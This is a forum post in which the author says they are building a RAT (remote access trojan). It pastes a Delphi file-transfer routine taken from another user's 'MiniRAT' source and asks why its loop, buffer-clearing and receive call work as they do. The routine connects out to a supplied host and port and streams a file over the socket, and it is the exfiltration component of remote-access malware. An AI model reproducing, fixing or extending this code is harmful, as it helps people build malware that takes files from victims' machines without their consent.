I'm currently building a RAT of my own and got a lot of help från p0ke (his examples for winsock and MiniRAT).
But I've got a problem with the filetransfer. In miniRAT the code goes something like this:
The comments are mine, used to better describe the problem
Code:Function SendFile(P: Pointer): DWord; STDCALL; Var Sock :TSocket; Addr :TSockAddrIn; WSA :TWSAData; BytesRead :Cardinal; F :File; Buf :Array[0..8192] Of Char; dErr :Integer; Name :String; Host :String; Port :Integer; T :String; Begin Name := PInfo(P)^.Name; Host := PInfo(P)^.Host; Port := PInfo(P)^.Port; WSAStartUp($0101, WSA); Sock := Socket(AF_INET, SOCK_STREAM, 0); Addr.sin_family := AF_INET; Addr.sin_port := hTons(Port); Addr.sin_addr.S_addr := inet_Addr(pchar(Host)); If (connect(Sock, Addr, SizeOf(Addr)) <> 0) Then Exit; {$I-} T := 'ok'; AssignFile(F, Name); Reset(F, 1); Repeat BlockRead(F, Buf, SizeOf(Buf), BytesRead); #Problem 1 If (BytesRead = 0) Then Break; Send(Sock, Buf[0], SizeOf(Buf), 0); FillChar(Buf, SizeOf(Buf), 0); #Problem 2 Recv(Sock, Buf, SizeOf(Buf), 0); #Problem 3 Until BytesRead = 0; CloseFile(F); {$I+} WSACleanUp(); End;
#Problem 1:
I have no problem with this being done the first time but since it's repeated, I mean it's the same thing being done every time?
#Problem 2:
Why fill the buf with 0when it's being sent?
#Problem 3:
Since the function sends a file, why should it revceive data? Is it to keep track of what has been sent?
Cheers to p0ke for this source <3
Edit:
I have read the Client-side and I can't get any sense even though I read this topic:
http://opensc.ws/showthread.php?t=1215


LinkBack URL
About LinkBacks
when it's being sent?
Reply With Quote


